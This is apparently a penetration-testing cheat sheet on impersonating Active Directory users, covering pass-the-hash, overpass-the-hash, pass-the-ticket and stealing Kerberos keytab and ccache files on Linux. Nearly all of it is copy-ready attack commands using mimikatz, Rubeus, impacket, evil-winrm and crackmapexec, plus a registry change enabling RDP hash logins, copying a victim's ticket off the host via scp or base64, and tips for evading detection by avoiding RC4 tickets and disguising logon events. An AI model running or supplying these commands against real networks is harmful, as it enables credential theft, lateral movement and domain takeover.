User Impersonation
1. Pass The Hash
Why crack a password hash when you can authenticate using the hash?
To check that it's correct:
crackmapexec smb {IP or CIDR} -u {User} -H {Hash} --local-auth
Then to get a shell:
pth-winexe -U 'admin%hash' //MACHINE_IP cmd.exe
evil-winrm -i {Domain}.local -u {User} -H "{Hash}"
impacket-psexec {User}:@{IP} -hashes {LMHASH}:{NTHASH}
With mimikatz:
sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
mimikatz sekurlsa::pth /user:"jking" /domain:"DEV" /ntlm:59fc0f884922b4ce376051134c71e22c /run:notepad.exe
To connect to RDP with a NTLM hash:
xfreerdp /u:{user} /d:{domain} /pth: {hash} /v:{victim IP}
In some cases to successfully run the command above, we must modify the Restricted Admin Mode value:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
2. Overpass The Hash/Pass The Key (PTK)
Overpass the hash is a technique which allows us to request a Kerberos TGT for a user, using their NTLM or AES hash. Elevated privileges are required to obtain user hashes, but not to actually request a ticket.
- Without a shell
Request the TGT with hash
python getTGT.py <domain_name>/<user_name>-hashes [lm_hash]:<ntlm_hash>
Ex: python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft
python getTGT.py <domain_name>/<user_name>-aesKey <aes_key>
getTGT.py -dc-ip 10.10.122.10 -aesKey {aes hash} dev.cyberbotic.io/jking
Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
If not provided, password is asked.
Then we can use export KRB5CCNAME={ticket location}
and then psexec.
- With a shell
Mimikatz can also perform overpass the hash, but in a way that writes into LSASS. Rubeus' method doesn't touch LSASS but it does generate Kerberos traffic from an anomalous process, as this usually only occurs from LSASS.
Using mimikatz ( Make sure to clear tickets in the current session (with 'kerberos::purge
') to ensure you don't have multiple active TGTs):
mimikatz # sekurlsa::pth /user:{username} /domain:{domain} /ntlm:{ntlm hash} /run:PowerShell.exe
Using Rubeus:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:paco /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap
This TGT can then be leveraged via Pass the Ticket.
Using an NTLM hash results in a ticket encrypted using RC4 (0x17). This is considered a legacy encryption type and therefore often stands out as anomalous in a modern Windows environment. The "RC4 TGTs" saved search will show all 4768 events where the ticket encryption type is 0x17.
To obtain a TGT encrypted using AES256 (0x12), use the user's AES256 hash instead.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:paco /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap
3. Pass The Ticket (PTT)
This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.
In Pass-the-Ticket attacks, adversaries steal a Kerberos ticket from one computer and re-use it to get access to another computer in a compromised environment.
First, we can leverage a TGT extracted before in the Post-exploitation phase during a credential theft (Privesc and Post-Exploitation/Windows Post-Exploitation/Credential Theft/Rubeus (Extracting Kerberos Tickets)).
After that, the first step is to create a blank, "sacrificial" logon session that we can pass the TGT into. We do this because a logon session can only hold a single TGT at a time (creating a new logon session and passing tickets into sessions other than your own requires elevated privileges):
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
By default, Rubeus will use a random username, domain and password with CreateProcessWithLogonW, which will appear in the associated 4624 logon event. We can provide these options on the command line to make the fields appear less anomalous. The password does not have to be the users' actual password.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:{current user} /password:FakePass123
The next step is to pass the TGT into this new LUID using the Rubeus ptt command. Where the /luid is the new LUID we just created and /ticket is the base64 encoded ticket we previously extracted.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
We can also create the logon session and pass the TGT into it with one command:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:{current user} /password:FakePass123 /ticket:{ticket}
Rubeus triage will show now the user's TGT we dumped before into that LUID.
The final step is to impersonate the process that we created. We can do this through various different methods, for example, with Cobalt Strike:
steal_token {PID of the target process}
Another option, instead of stealing the token, we can ptt directly adding at the end of the command /ptt
.
Then we can see the available kerberos tickets with klist
.
In adition,we can use the tgtdeleg function to extract a usable TGT .kirbi file from the current user’s session in low elevation mode:
.\Rubeus.exe
tgtdeleg
/nowrap
To use a TGT without a shell:
Set the TGT for impacket use
exportKRB5CCNAME=<TGT_ccache_file>
Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname>-k -no-pass
There are types of PtT Attacks with we can gain domain dominance: Silver Tickets, Golden Tickets, Diamond Tickets.
4. Tickets on Linux (Kerberos on Linux)
Linux clients can authenticate to Active Directory servers via Kerberos as a Windows machine would.
- Keytab Files
If we discover the keytab file, we can use it maliciously to gain access to other systems
kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab
Using the klist command, we can verify that the tickets from the keytab have been loaded into our root account’s credential cache file.
klist
Now that our root user has the keytab files loaded, we can authenticate as the domain admin and access any resources they have access to, for example list the target through smbclient
.
- Ccache Files
Now, we are going to authenticate by compromising a user’s ccache file:
A user’s ccache file is stored in /tmp with a format like /tmp/krb5cc_. The file is typically only accessible by the owner. Because of this, it’s unlikely that we will be able to steal a user’s ccache file as an unprivileged user.
If we have privileged access and don’t want to log in as the user in question, or we are able to read the user’s files but don’t have direct shell access, we can still copy the victim’s ccache file and load it as our own:
ls -al /tmp/krb5cc_*
Let’s copy the domain administrator’s ccache file and set the ownership of the new file to current user:
sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
sudo chown user:user /tmp/krb5cc_minenow
In order to use the ccache file, we need to set the KRB5CCNAME environment variable.
We’ll clear our old credentials, set the variable and point it to our newly-copied ccache file, then list our available tickets with klist.
kdestroy
klist
export KRB5CCNAME=/tmp/krb5cc_minenow
klist
Based on the output, we now have the administrator user’s TGT in our credential cache and we can request service tickets on their behalf, for example:
kvno MSSQLSvc/DC01.corp1.com:1433
klist
- Using ccache tickets w/ Impacket
We can also use these tickets with impacket, first we identify the IP of the DC and add it to our local /etc/hosts file (we also have to add the IP of the current compromised machine):
host corp1.com
Then we download the ticket to our machine:
base64 -w0 <filename of the ticket>
echo “<base64 string here>” | base65 -d > krb5cc_user
or if we have ssh connection:
scp user@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow
Then export the ticket:
export KRB5CCNAME=/tmp/krb5cc_minenow
After that, install the following necessary tool:
sudo apt install krb5-user
Then we will comment out the line for proxy_dns in /etc/proxychains.conf.
Now we need to set up a SOCKS server, we can do this with chisel, with the used framework (Metasploit, Cobalt Strike, ..) or just with the following ssh command on the server we copied the ccache file from:
ssh user@linuxvictim -D 9050
Now we can use the ticket through impacket and proxychains. Previouslly we identified what we can do with the ticket with klist, so we can use the following commands for each case.
To test it with netexec:
nxc smb {targetIP} --use-kcache
nxc smb {targetIP} --use-kcache - X whoami
To log into the local admin account of a computer:
proxychains impacket-psexec Administrator@DC01.CORP1.COM -k -no-pass
To log into an user account of the domain in a computer:
proxychains impacket-psexec -k -no-pass {domain}/{user}@{computer} -dc-ip {dc ip} -target-ip {target ip}
To log into the DC if the ticket is for krbtgt:
proxychains impacket-psexec -k -no-pass -target-ip {target IP} -dc-ip {DC IP} {dc computer name}
Then we can clean the variable with unset KRB5CCNAME
- Converting kirbi tickets to ccache tickets and use them w/ Impacket
Example, obtain a ticket with Rubeus:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap
Then we should base64 decode the ticket:
echo -en 'doIFzj[...snip...]MuSU8=' | base64 -d > ticket.kirbi
Then convert it using ticketConverter.py:
ticketConverter.py ticket.kirbi ticket.ccache
Last updated